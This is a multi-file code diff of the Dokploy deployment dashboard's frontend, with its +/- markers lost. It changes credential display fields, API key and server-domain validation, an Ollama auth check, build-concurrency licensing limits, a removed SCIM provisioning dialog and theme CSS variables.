<div className="flex flex-col gap-2">
<Label>Enable Namespaces</Label>

View File

@@ -1,5 +1,5 @@
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";

View File

@@ -25,11 +25,11 @@ export const ShowInternalMariadbCredentials = ({ mariadbId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2">
<Label>User</Label>
<Input enableCopyButton disabled value={data?.databaseUser} />
<Input disabled value={data?.databaseUser} />
</div>
<div className="flex flex-col gap-2">
<Label>Database Name</Label>
<Input enableCopyButton disabled value={data?.databaseName} />
<Input disabled value={data?.databaseName} />
</div>
<div className="flex flex-col gap-2">
<Label>Password</Label>
@@ -79,7 +79,7 @@ export const ShowInternalMariadbCredentials = ({ mariadbId }: Props) => {
<div className="flex flex-col gap-2">
<Label>Internal Host</Label>
<Input enableCopyButton disabled value={data?.appName} />
<Input disabled value={data?.appName} />
</div>
<div className="flex flex-col gap-2 md:col-span-2">

View File

@@ -1,5 +1,5 @@
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";

View File

@@ -25,7 +25,7 @@ export const ShowInternalMongoCredentials = ({ mongoId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2">
<Label>User</Label>
<Input enableCopyButton disabled value={data?.databaseUser} />
<Input disabled value={data?.databaseUser} />
</div>
<div className="flex flex-col gap-2">
@@ -55,7 +55,7 @@ export const ShowInternalMongoCredentials = ({ mongoId }: Props) => {
<div className="flex flex-col gap-2">
<Label>Internal Host</Label>
<Input enableCopyButton disabled value={data?.appName} />
<Input disabled value={data?.appName} />
</div>
<div className="flex flex-col gap-2 md:col-span-2">

View File

@@ -1,5 +1,5 @@
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";

View File

@@ -25,11 +25,11 @@ export const ShowInternalMysqlCredentials = ({ mysqlId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2">
<Label>User</Label>
<Input enableCopyButton disabled value={data?.databaseUser} />
<Input disabled value={data?.databaseUser} />
</div>
<div className="flex flex-col gap-2">
<Label>Database Name</Label>
<Input enableCopyButton disabled value={data?.databaseName} />
<Input disabled value={data?.databaseName} />
</div>
<div className="flex flex-col gap-2">
<Label>Password</Label>
@@ -79,7 +79,7 @@ export const ShowInternalMysqlCredentials = ({ mysqlId }: Props) => {
<div className="flex flex-col gap-2">
<Label>Internal Host</Label>
<Input enableCopyButton disabled value={data?.appName} />
<Input disabled value={data?.appName} />
</div>
<div className="flex flex-col gap-2 md:col-span-2">

View File

@@ -93,8 +93,7 @@ export function AddOrganization({ organizationId }: Props) {
.catch((error) => {
console.error(error);
toast.error(
error?.message ??
`Failed to ${organizationId ? "update" : "create"} organization`,
`Failed to ${organizationId ? "update" : "create"} organization`,
);
});
};

View File

@@ -1,5 +1,5 @@
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";

View File

@@ -25,11 +25,11 @@ export const ShowInternalPostgresCredentials = ({ postgresId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2">
<Label>User</Label>
<Input enableCopyButton disabled value={data?.databaseUser} />
<Input disabled value={data?.databaseUser} />
</div>
<div className="flex flex-col gap-2">
<Label>Database Name</Label>
<Input enableCopyButton disabled value={data?.databaseName} />
<Input disabled value={data?.databaseName} />
</div>
<div className="flex flex-col gap-2">
<Label>Password</Label>
@@ -57,7 +57,7 @@ export const ShowInternalPostgresCredentials = ({ postgresId }: Props) => {
<div className="flex flex-col gap-2">
<Label>Internal Host</Label>
<Input enableCopyButton disabled value={data?.appName} />
<Input disabled value={data?.appName} />
</div>
<div className="flex flex-col gap-2">

View File

@@ -62,7 +62,7 @@ const dockerImageDefaultPlaceholder: Record<DbType, string> = {
mariadb: "mariadb:11",
mysql: "mysql:8",
postgres: "postgres:18",
redis: "redis:8",
redis: "redis:7",
};
const databasesUserDefaultPlaceholder: Record<

View File

@@ -47,7 +47,7 @@ interface Details {
envVariables: EnvVariable[];
shortDescription: string;
domains: Domain[];
configFiles?: Mount[] | null;
configFiles?: Mount[];
}
interface Mount {

View File

@@ -290,7 +290,7 @@ export const ShowProjects = () => {
</span>
</div>
)}
<div className="w-full grid grid-cols-[repeat(auto-fill,minmax(300px,1fr))] gap-5">
<div className="w-full grid grid-cols-1 lg:grid-cols-2 xl:grid-cols-3 2xl:grid-cols-4 3xl:grid-cols-5 flex-wrap gap-5">
{filteredProjects?.map((project) => {
const emptyServices = project?.environments
.map(

View File

@@ -1,5 +1,5 @@
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";

View File

@@ -25,7 +25,7 @@ export const ShowInternalRedisCredentials = ({ redisId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2">
<Label>User</Label>
<Input enableCopyButton disabled value="default" />
<Input disabled value="default" />
</div>
<div className="flex flex-col gap-2">
<Label>Password</Label>
@@ -53,7 +53,7 @@ export const ShowInternalRedisCredentials = ({ redisId }: Props) => {
<div className="flex flex-col gap-2">
<Label>Internal Host</Label>
<Input enableCopyButton disabled value={data?.appName} />
<Input disabled value={data?.appName} />
</div>
<div className="flex flex-col gap-2 md:col-span-2">

View File

@@ -69,12 +69,14 @@ export const columns: ColumnDef<LogEntry>[] = [
const log = row.original;
return (
<div className="flex flex-col gap-2">
<div className="flex items-center flex-row flex-wrap gap-3 ">
<div className="flex items-center flex-row gap-3 ">
{log.RequestMethod}{" "}
<div className="inline-flex items-center gap-2 bg-muted px-1.5 py-1 rounded-lg">
<span>{log.RequestAddr}</span>
</div>
<span className="break-all">{log.RequestPath}</span>
{log.RequestPath.length > 100
? `${log.RequestPath.slice(0, 82)}...`
: log.RequestPath}
</div>
<div className="flex flex-row gap-3 w-full">
<Badge

View File

@@ -1,4 +1,11 @@
import { Area, AreaChart, CartesianGrid, XAxis, YAxis } from "recharts";
import {
Area,
AreaChart,
CartesianGrid,
ResponsiveContainer,
XAxis,
YAxis,
} from "recharts";
import {
type ChartConfig,
ChartContainer,
@@ -42,60 +49,65 @@ export const RequestDistributionChart = ({
);
return (
<ChartContainer
config={chartConfig}
className="aspect-auto h-[200px] w-full"
>
<AreaChart
accessibilityLayer
data={stats || []}
margin={{
top: 10,
left: 12,
right: 12,
bottom: 0,
}}
<div className="w-full h-[200px] overflow-hidden">
<ResponsiveContainer
width="100%"
height="100%"
className="overflow-hidden"
>
<CartesianGrid vertical={false} />
<XAxis
dataKey="hour"
tickLine={false}
axisLine={false}
tickMargin={8}
tickFormatter={(value) =>
new Date(value).toLocaleTimeString([], {
hour: "2-digit",
minute: "2-digit",
})
}
/>
<YAxis
tickLine={false}
axisLine={false}
tickMargin={8}
allowDataOverflow={false}
domain={[0, "auto"]}
/>
<ChartTooltip
cursor={false}
content={<ChartTooltipContent indicator="line" />}
labelFormatter={(value) =>
new Date(value).toLocaleString([], {
month: "short",
day: "numeric",
hour: "2-digit",
minute: "2-digit",
})
}
/>
<Area
dataKey="count"
type="monotone"
fill="hsl(var(--chart-1))"
fillOpacity={0.4}
stroke="hsl(var(--chart-1))"
/>
</AreaChart>
</ChartContainer>
<ChartContainer config={chartConfig}>
<AreaChart
accessibilityLayer
data={stats || []}
margin={{
top: 10,
left: 12,
right: 12,
bottom: 0,
}}
>
<CartesianGrid vertical={false} />
<XAxis
dataKey="hour"
tickLine={false}
axisLine={false}
tickMargin={8}
tickFormatter={(value) =>
new Date(value).toLocaleTimeString([], {
hour: "2-digit",
minute: "2-digit",
})
}
/>
<YAxis
tickLine={false}
axisLine={false}
tickMargin={8}
allowDataOverflow={false}
domain={[0, "auto"]}
/>
<ChartTooltip
cursor={false}
content={<ChartTooltipContent indicator="line" />}
labelFormatter={(value) =>
new Date(value).toLocaleString([], {
month: "short",
day: "numeric",
hour: "2-digit",
minute: "2-digit",
})
}
/>
<Area
dataKey="count"
type="monotone"
fill="hsl(var(--chart-1))"
fillOpacity={0.4}
stroke="hsl(var(--chart-1))"
/>
</AreaChart>
</ChartContainer>
</ResponsiveContainer>
</div>
);
};

View File

@@ -32,11 +32,10 @@ import {
SelectValue,
} from "@/components/ui/select";
import { Switch } from "@/components/ui/switch";
import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
import { api } from "@/utils/api";
const formSchema = z.object({
name: apiKeyNameSchema,
name: z.string().min(1, "Name is required"),
prefix: z.string().optional(),
expiresIn: z.number().nullable(),
organizationId: z.string().min(1, "Organization is required"),
@@ -160,15 +159,8 @@ export const AddApiKey = () => {
<FormItem>
<FormLabel>Name</FormLabel>
<FormControl>
<Input
placeholder="My API Key"
maxLength={API_KEY_NAME_MAX_LENGTH}
{...field}
/>
<Input placeholder="My API Key" {...field} />
</FormControl>
<FormDescription>
Maximum {API_KEY_NAME_MAX_LENGTH} characters
</FormDescription>
<FormMessage />
</FormItem>
)}

View File

@@ -227,9 +227,9 @@ export const HandleRegistry = ({ registryId }: Props) => {
</DialogTrigger>
<DialogContent className="sm:max-w-2xl">
<DialogHeader>
<DialogTitle>Add an external registry</DialogTitle>
<DialogTitle>Add a external registry</DialogTitle>
<DialogDescription>
Fill in the following fields to add an external registry.
Fill the next fields to add a external registry.
</DialogDescription>
</DialogHeader>
{(isError || testRegistryIsError || testRegistryByIdIsError) && (

View File

@@ -131,10 +131,7 @@ export const HandleAi = ({ aiId }: Props) => {
const apiUrl = form.watch("apiUrl");
const apiKey = form.watch("apiKey");
// Any Ollama instance on the default port 11434 is treated as no-auth
// (covers localhost and self-hosted LAN deployments). Ollama Cloud
// (ollama.com on 443) falls through and requires an API key.
const isLocalOllama = apiUrl.includes(":11434");
const isOllama = apiUrl.includes(":11434") || apiUrl.includes("ollama");
const {
data: models,
isFetching: isLoadingServerModels,
@@ -145,7 +142,7 @@ export const HandleAi = ({ aiId }: Props) => {
apiKey: apiKey ?? "",
},
{
enabled: !!apiUrl && (isLocalOllama || !!apiKey),
enabled: !!apiUrl && (isOllama || !!apiKey),
},
);
@@ -278,7 +275,7 @@ export const HandleAi = ({ aiId }: Props) => {
)}
/>
{!isLocalOllama && (
{!isOllama && (
<FormField
control={form.control}
name="apiKey"

View File

@@ -1828,7 +1828,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="">
<FormLabel>App Deploy</FormLabel>
<FormDescription>
Trigger the action when an app is deployed.
Trigger the action when a app is deployed.
</FormDescription>
</div>
<FormControl>
@@ -1890,7 +1890,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5">
<FormLabel>Dokploy Backup</FormLabel>
<FormDescription>
Trigger the action when a Dokploy backup is created.
Trigger the action when a dokploy backup is created.
</FormDescription>
</div>
<FormControl>
@@ -1932,7 +1932,8 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5">
<FormLabel>Docker Cleanup</FormLabel>
<FormDescription>
Trigger the action when Docker cleanup is performed.
Trigger the action when the docker cleanup is
performed.
</FormDescription>
</div>
<FormControl>
@@ -1954,7 +1955,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5">
<FormLabel>Dokploy Restart</FormLabel>
<FormDescription>
Trigger the action when Dokploy is restarted.
Trigger the action when dokploy is restarted.
</FormDescription>
</div>
<FormControl>

View File

@@ -4,7 +4,9 @@ import { Button } from "@/components/ui/button";
import { Input } from "@/components/ui/input";
import { api } from "@/utils/api";
const MAX_CONCURRENCY = 100;
// Free tier may set up to 2 concurrent builds; enterprise unlocks more.
const FREE_MAX_CONCURRENCY = 2;
const ENTERPRISE_MAX_CONCURRENCY = 100;
interface Props {
/**
@@ -18,10 +20,14 @@ interface Props {
/**
* Control to set the number of concurrent builds, either for a remote server
* (`serverId` provided) or the local web server (omitted). Not shown in cloud.
* (`serverId` provided) or the local web server (omitted). Available to
* everyone self-hosted up to FREE_MAX_CONCURRENCY; higher values require a
* valid enterprise license. Not shown in cloud.
*/
export const BuildsConcurrency = ({ serverId, label }: Props) => {
const { data: isCloud } = api.settings.isCloud.useQuery();
const { data: haveValidLicense } =
api.licenseKey.haveValidLicenseKey.useQuery();
const serverQuery = api.server.one.useQuery(
{ serverId: serverId ?? "" },
@@ -53,7 +59,10 @@ export const BuildsConcurrency = ({ serverId, label }: Props) => {
// Concurrent builds are a self-hosted feature; not shown in cloud.
if (isCloud) return null;
const clamp = (n: number) => Math.min(MAX_CONCURRENCY, Math.max(1, n));
const max = haveValidLicense
? ENTERPRISE_MAX_CONCURRENCY
: FREE_MAX_CONCURRENCY;
const clamp = (n: number) => Math.min(max, Math.max(1, n));
const handleSave = async () => {
const parsed = clamp(Number.parseInt(value, 10) || 1);
@@ -92,7 +101,7 @@ export const BuildsConcurrency = ({ serverId, label }: Props) => {
<Input
type="number"
min={1}
max={MAX_CONCURRENCY}
max={max}
value={value}
onChange={(e) => setValue(e.target.value)}
className="w-20"

View File

@@ -195,7 +195,9 @@ export const CreateServer = ({ stepper }: Props) => {
{sshKey.name}
</SelectItem>
))}
<SelectLabel>SSH Keys ({sshKeys?.length})</SelectLabel>
<SelectLabel>
Registries ({sshKeys?.length})
</SelectLabel>
</SelectGroup>
</SelectContent>
</Select>

View File

@@ -97,7 +97,6 @@ export const ShowUsers = () => {
<TableRow>
<TableHead className="w-[100px]">Email</TableHead>
<TableHead className="text-center">Role</TableHead>
<TableHead className="text-center">Status</TableHead>
<TableHead className="text-center">2FA</TableHead>
<TableHead className="text-center">
@@ -174,19 +173,6 @@ export const ShowUsers = () => {
{member.role}
</Badge>
</TableCell>
<TableCell className="text-center">
<Badge
variant={
member.user.banned
? "destructive"
: "outline"
}
>
{member.user.banned
? "Deactivated"
: "Active"}
</Badge>
</TableCell>
<TableCell className="text-center">
{member.user.twoFactorEnabled
? "Enabled"

View File

@@ -1,7 +1,3 @@
import {
INVALID_HOSTNAME_MESSAGE,
VALID_HOSTNAME_REGEX,
} from "@dokploy/server/utils/hostname-validation";
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
import { GlobeIcon } from "lucide-react";
import { useEffect } from "react";
@@ -39,20 +35,13 @@ import { api } from "@/utils/api";
const addServerDomain = z
.object({
domain: z
.string()
.trim()
.toLowerCase()
// empty clears the server domain and reverts to IP-only access
.refine((val) => val === "" || VALID_HOSTNAME_REGEX.test(val), {
message: INVALID_HOSTNAME_MESSAGE,
}),
domain: z.string().trim().toLowerCase(),
letsEncryptEmail: z.string(),
https: z.boolean().optional(),
certificateType: z.enum(["letsencrypt", "none", "custom"]),
})
.superRefine((data, ctx) => {
if (data.domain && data.https && !data.certificateType) {
if (data.https && !data.certificateType) {
ctx.addIssue({
code: z.ZodIssueCode.custom,
path: ["certificateType"],
@@ -60,7 +49,6 @@ const addServerDomain = z
});
}
if (
data.domain &&
data.https &&
data.certificateType === "letsencrypt" &&
!data.letsEncryptEmail

View File

@@ -255,13 +255,13 @@ export const UpdateServer = ({
<ToggleAutoCheckUpdates disabled={isPending} />
</div>
<div className="flex items-center justify-end mt-4">
<div className="space-y-4 flex items-center justify-end mt-4 ">
<div className="flex items-center gap-2">
<Button variant="outline" onClick={() => onOpenChange?.(false)}>
Cancel
</Button>
{isUpdateAvailable ? (
<UpdateWebServer buttonClassName="w-auto" />
<UpdateWebServer />
) : (
<Button
variant="secondary"

View File

@@ -20,7 +20,6 @@ import {
AlertDialogTrigger,
} from "@/components/ui/alert-dialog";
import { Button } from "@/components/ui/button";
import { cn } from "@/lib/utils";
import { api } from "@/utils/api";
type ServiceStatus = {
@@ -56,11 +55,7 @@ const ServiceStatusItem = ({
</div>
);
export const UpdateWebServer = ({
buttonClassName,
}: {
buttonClassName?: string;
}) => {
export const UpdateWebServer = () => {
const [modalState, setModalState] = useState<ModalState>("idle");
const [open, setOpen] = useState(false);
const [healthResult, setHealthResult] = useState<HealthResult | null>(null);
@@ -141,7 +136,7 @@ export const UpdateWebServer = ({
<AlertDialog open={open}>
<AlertDialogTrigger asChild>
<Button
className={cn("relative w-full", buttonClassName)}
className="relative w-full"
variant="secondary"
onClick={() => setOpen(true)}
>

View File

@@ -87,29 +87,29 @@ export const RebuildDatabase = ({ id, type }: Props) => {
<AlertTriangle className="h-5 w-5 text-destructive" />
Are you absolutely sure?
</AlertDialogTitle>
<AlertDialogDescription asChild>
<div className="space-y-2">
<p>This action will:</p>
<ul className="list-disc list-inside space-y-1">
<li>Stop the current database service</li>
<li>Delete all existing data and volumes</li>
<li>Reset to the default configuration</li>
<li>Restart the service with a clean state</li>
</ul>
<p className="font-medium text-destructive mt-4">
This action cannot be undone.
</p>
</div>
<AlertDialogDescription className="space-y-2">
<p>This action will:</p>
<ul className="list-disc list-inside space-y-1">
<li>Stop the current database service</li>
<li>Delete all existing data and volumes</li>
<li>Reset to the default configuration</li>
<li>Restart the service with a clean state</li>
</ul>
<p className="font-medium text-destructive mt-4">
This action cannot be undone.
</p>
</AlertDialogDescription>
</AlertDialogHeader>
<AlertDialogFooter>
<AlertDialogCancel>Cancel</AlertDialogCancel>
<AlertDialogAction
onClick={handleRebuild}
disabled={isPending}
variant="destructive"
className="bg-destructive text-destructive-foreground hover:bg-destructive/90"
asChild
>
Yes, rebuild database
<Button isLoading={isPending} type="submit">
Yes, rebuild database
</Button>
</AlertDialogAction>
</AlertDialogFooter>
</AlertDialogContent>

View File

@@ -33,7 +33,7 @@ export const ShowNodeApplications = ({ serverId }: Props) => {
return (
<Dialog>
<DialogTrigger asChild>
<Button variant="outline" size="sm">
<Button variant="outline" size="sm" className="w-full">
<Loader2 className="h-4 w-4 mr-2 animate-spin" />
</Button>
</DialogTrigger>
@@ -82,7 +82,7 @@ export const ShowNodeApplications = ({ serverId }: Props) => {
return (
<Dialog>
<DialogTrigger asChild>
<Button variant="outline" size="sm">
<Button variant="outline" size="sm" className="w-full">
<Layers className="h-4 w-4 mr-2" />
Services
</Button>

View File

@@ -110,7 +110,7 @@ export function NodeCard({ node, serverId }: Props) {
</div>
</div>
<div className="flex justify-end w-full gap-4">
<div className="flex justify-end w-full space-x-4">
<ShowNodeConfig nodeId={node.ID} serverId={serverId} />
<ShowNodeApplications serverId={serverId} />
</div>

View File

@@ -24,7 +24,7 @@ export const ShowNodeConfig = ({ nodeId, serverId }: Props) => {
return (
<Dialog>
<DialogTrigger asChild>
<Button variant="outline" size="sm">
<Button variant="outline" size="sm" className="w-full">
<Settings className="h-4 w-4 mr-2" />
Config
</Button>

View File

@@ -35,11 +35,11 @@ export const OnboardingLayout = ({ children }: Props) => {
</blockquote>
</div>
</div>
<div className="flex min-h-svh w-full flex-col">
<div className="flex w-full flex-1 flex-col justify-center space-y-6 max-w-lg mx-auto py-8">
<div className="w-full">
<div className="flex w-full flex-col justify-center space-y-6 max-w-lg mx-auto">
{children}
</div>
<div className="mx-auto flex w-full max-w-lg items-center justify-center gap-1 pb-6 text-muted-foreground sm:justify-end">
<div className="flex items-center gap-4 justify-center absolute bottom-4 right-4 text-muted-foreground">
<Button variant="ghost" size="icon">
<Link href="https://github.com/dokploy/dokploy">
<GithubIcon />

View File

@@ -41,7 +41,6 @@ import Link from "next/link";
import { usePathname } from "next/navigation";
import { useEffect, useState } from "react";
import { toast } from "sonner";
import { Badge } from "@/components/ui/badge";
import {
Breadcrumb,
BreadcrumbItem,
@@ -565,8 +564,6 @@ function SidebarLogo() {
const { isMobile } = useSidebar();
const isCollapsed = state === "collapsed" && !isMobile;
const { data: activeOrganization } = api.organization.active.useQuery();
const { data: haveValidLicense } =
api.licenseKey.haveValidLicenseKey.useQuery();
const { data: invitations, refetch: refetchInvitations } =
api.user.getInvitations.useQuery();
@@ -632,14 +629,9 @@ function SidebarLogo() {
isCollapsed && "hidden",
)}
>
<div className="flex items-center gap-1.5">
<p className="text-sm font-medium leading-none">
{activeOrganization?.name ?? "Select Organization"}
</p>
{haveValidLicense && (
<Badge variant="blue">Enterprise</Badge>
)}
</div>
<p className="text-sm font-medium leading-none">
{activeOrganization?.name ?? "Select Organization"}
</p>
</div>
</div>
<ChevronsUpDown

View File

@@ -1,235 +0,0 @@
"use client";
import copy from "copy-to-clipboard";
import { Copy, KeyRound, Loader2, Plus, Trash2 } from "lucide-react";
import { type ReactNode, useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";
import { Button } from "@/components/ui/button";
import {
Dialog,
DialogContent,
DialogDescription,
DialogFooter,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import { Input } from "@/components/ui/input";
import { Label } from "@/components/ui/label";
import { api } from "@/utils/api";
import { useUrl } from "@/utils/hooks/use-url";
interface Props {
children: ReactNode;
}
export const ScimDialog = ({ children }: Props) => {
const utils = api.useUtils();
const baseURL = useUrl();
const [open, setOpen] = useState(false);
const [newProviderId, setNewProviderId] = useState("");
const [justCreatedToken, setJustCreatedToken] = useState<{
providerId: string;
token: string;
} | null>(null);
const { data: providers = [], isPending } = api.scim.listProviders.useQuery(
undefined,
{ enabled: open },
);
const { mutateAsync: generateToken, isPending: isGenerating } =
api.scim.generateToken.useMutation();
const { mutateAsync: deleteProvider, isPending: isDeleting } =
api.scim.deleteProvider.useMutation();
const scimUrl = `${baseURL || "{baseURL}"}/api/auth/scim/v2`;
const handleGenerate = async () => {
const providerId = newProviderId.trim().toLowerCase();
if (!providerId) return;
try {
const result = await generateToken({ providerId });
setJustCreatedToken({
providerId: result.providerId,
token: result.scimToken,
});
setNewProviderId("");
await utils.scim.listProviders.invalidate();
} catch (err) {
toast.error(
err instanceof Error ? err.message : "Failed to generate SCIM token",
);
}
};
const handleDelete = async (providerId: string) => {
try {
await deleteProvider({ providerId });
toast.success("SCIM provider removed");
await utils.scim.listProviders.invalidate();
} catch (err) {
toast.error(
err instanceof Error ? err.message : "Failed to delete SCIM provider",
);
}
};
const handleCopy = (value: string, label: string) => {
copy(value);
toast.success(`${label} copied`);
};
const handleOpenChange = (next: boolean) => {
setOpen(next);
if (!next) setJustCreatedToken(null);
};
return (
<Dialog open={open} onOpenChange={handleOpenChange}>
<DialogTrigger asChild>{children}</DialogTrigger>
<DialogContent className="sm:max-w-[560px]">
<DialogHeader>
<DialogTitle className="flex items-center gap-2">
<KeyRound className="size-5" />
SCIM provisioning
</DialogTitle>
<DialogDescription>
Automatically provision, update, and deactivate users from your
identity provider (Okta, Entra ID, etc.). Configure the SCIM
endpoint below in your IdP.
</DialogDescription>
</DialogHeader>
<div className="space-y-4 py-2">
<div className="grid gap-1">
<Label className="text-xs font-medium text-muted-foreground">
SCIM 2.0 endpoint URL
</Label>
<div className="flex items-center gap-2">
<p className="flex-1 break-all rounded-md bg-muted px-2 py-1.5 font-mono text-xs">
{scimUrl}
</p>
<Button
variant="outline"
size="icon"
className="size-8 shrink-0"
onClick={() => handleCopy(scimUrl, "Endpoint URL")}
disabled={!baseURL}
>
<Copy className="size-3.5" />
</Button>
</div>
</div>
{justCreatedToken && (
<div className="rounded-md border border-amber-500/40 bg-amber-500/10 p-3">
<p className="text-sm font-medium">
Bearer token for {justCreatedToken.providerId}
</p>
<p className="mt-1 text-xs text-muted-foreground">
Copy this token now it will not be shown again. Paste it into
your IdP's SCIM configuration.
</p>
<div className="mt-2 flex items-center gap-2">
<p className="flex-1 break-all rounded-md bg-background px-2 py-1.5 font-mono text-xs">
{justCreatedToken.token}
</p>
<Button
variant="outline"
size="icon"
className="size-8 shrink-0"
onClick={() =>
handleCopy(justCreatedToken.token, "Bearer token")
}
>
<Copy className="size-3.5" />
</Button>
</div>
</div>
)}
<div className="space-y-2">
<Label className="text-sm font-medium">
Generate token for a new provider
</Label>
<div className="flex gap-2">
<Input
value={newProviderId}
onChange={(e) => setNewProviderId(e.target.value)}
placeholder="okta, entra, jumpcloud..."
className="font-mono text-sm"
onKeyDown={(e) => {
if (e.key === "Enter") {
e.preventDefault();
void handleGenerate();
}
}}
/>
<Button
size="sm"
onClick={handleGenerate}
disabled={!newProviderId.trim() || isGenerating}
>
<Plus className="mr-1 size-4" />
Generate
</Button>
</div>
<p className="text-xs text-muted-foreground">
Choose a unique identifier for this IdP connection (lowercase,
alphanumeric, dashes).
</p>
</div>
<div className="space-y-2">
<Label className="text-sm font-medium">Existing providers</Label>
{isPending ? (
<div className="flex items-center gap-2 justify-center py-4">
<Loader2 className="size-4 animate-spin text-muted-foreground" />
<span className="text-sm text-muted-foreground">
Loading...
</span>
</div>
) : providers.length === 0 ? (
<p className="rounded-md border border-dashed bg-muted/30 px-3 py-4 text-center text-sm text-muted-foreground">
No SCIM providers configured yet.
</p>
) : (
<ul className="flex flex-col gap-2">
{providers.map((provider) => (
<li
key={provider.id}
className="flex items-center gap-2 rounded-md border bg-muted/30 px-3 py-2"
>
<span className="flex-1 font-mono text-sm">
{provider.providerId}
</span>
<DialogAction
title="Remove SCIM provider"
description={`Remove "${provider.providerId}"? Existing provisioned users will stay but the IdP will no longer be able to sync.`}
type="destructive"
onClick={() => handleDelete(provider.providerId)}
>
<Button
variant="ghost"
size="icon"
className="size-8 shrink-0 text-destructive hover:text-destructive"
disabled={isDeleting}
>
<Trash2 className="size-3.5" />
</Button>
</DialogAction>
</li>
))}
</ul>
)}
</div>
</div>
<DialogFooter>
<Button variant="outline" onClick={() => handleOpenChange(false)}>
Close
</Button>
</DialogFooter>
</DialogContent>
</Dialog>
);
};

View File

@@ -2,7 +2,6 @@
import {
Eye,
KeyRound,
Loader2,
LogIn,
Pencil,
@@ -35,7 +34,6 @@ import { api } from "@/utils/api";
import { useUrl } from "@/utils/hooks/use-url";
import { RegisterOidcDialog } from "./register-oidc-dialog";
import { RegisterSamlDialog } from "./register-saml-dialog";
import { ScimDialog } from "./scim-dialog";
type ProviderForDetails = {
id: string | null;
@@ -171,22 +169,15 @@ export const SSOSettings = () => {
Users can sign in with their organization&apos;s IdP.
</CardDescription>
</div>
<div className="flex flex-wrap gap-2 shrink-0">
<Button
variant="outline"
size="sm"
onClick={() => setManageOriginsOpen(true)}
>
<Shield className="mr-2 size-4" />
Manage origins
</Button>
<ScimDialog>
<Button variant="outline" size="sm">
<KeyRound className="mr-2 size-4" />
Manage SCIM
</Button>
</ScimDialog>
</div>
<Button
variant="outline"
size="sm"
onClick={() => setManageOriginsOpen(true)}
className="shrink-0"
>
<Shield className="mr-2 size-4" />
Manage origins
</Button>
</div>
{isPending ? (

View File

@@ -56,59 +56,50 @@ type FormSchema = z.infer<typeof formSchema>;
const DEFAULT_CSS_TEMPLATE = `/* ============================================
Dokploy Default Theme - CSS Variables
Modify these values to customize your instance.
Theme colors use the oklch() color format
(Tailwind CSS v4). You can use any valid CSS
color, e.g. oklch(0.6 0.2 250), #3b82f6 or
hsl(217 91% 60%).
Chart colors (--chart-*) are the exception:
they are still declared as raw HSL triples
(H S% L%) because they get wrapped in hsl(...)
where they are used.
============================================ */
/* ---------- Light Mode ---------- */
:root {
--background: oklch(1 0 0);
--foreground: oklch(0.145 0 0);
--background: 0 0% 100%;
--foreground: 240 10% 3.9%;
--card: oklch(1 0 0);
--card-foreground: oklch(0.145 0 0);
--card: 0 0% 100%;
--card-foreground: 240 10% 3.9%;
--popover: oklch(1 0 0);
--popover-foreground: oklch(0.145 0 0);
--popover: 0 0% 100%;
--popover-foreground: 240 10% 3.9%;
--primary: oklch(0.205 0 0);
--primary-foreground: oklch(0.985 0 0);
--primary: 240 5.9% 10%;
--primary-foreground: 0 0% 98%;
--secondary: oklch(0.97 0 0);
--secondary-foreground: oklch(0.205 0 0);
--secondary: 240 4.8% 95.9%;
--secondary-foreground: 240 5.9% 10%;
--muted: oklch(0.97 0 0);
--muted-foreground: oklch(0.556 0 0);
--muted: 240 4.8% 95.9%;
--muted-foreground: 240 3.8% 46.1%;
--accent: oklch(0.97 0 0);
--accent-foreground: oklch(0.205 0 0);
--accent: 240 4.8% 95.9%;
--accent-foreground: 240 5.9% 10%;
--destructive: oklch(0.577 0.245 27.325);
--destructive: 0 84.2% 50.2%;
--destructive-foreground: 0 0% 98%;
--border: oklch(0.922 0 0);
--input: oklch(0.922 0 0);
--ring: oklch(0.708 0 0);
--radius: 0.625rem;
--border: 240 5.9% 90%;
--input: 240 5.9% 90%;
--ring: 240 10% 3.9%;
--radius: 0.5rem;
/* Sidebar */
--sidebar: oklch(0.985 0 0);
--sidebar-foreground: oklch(0.145 0 0);
--sidebar-primary: oklch(0.205 0 0);
--sidebar-primary-foreground: oklch(0.985 0 0);
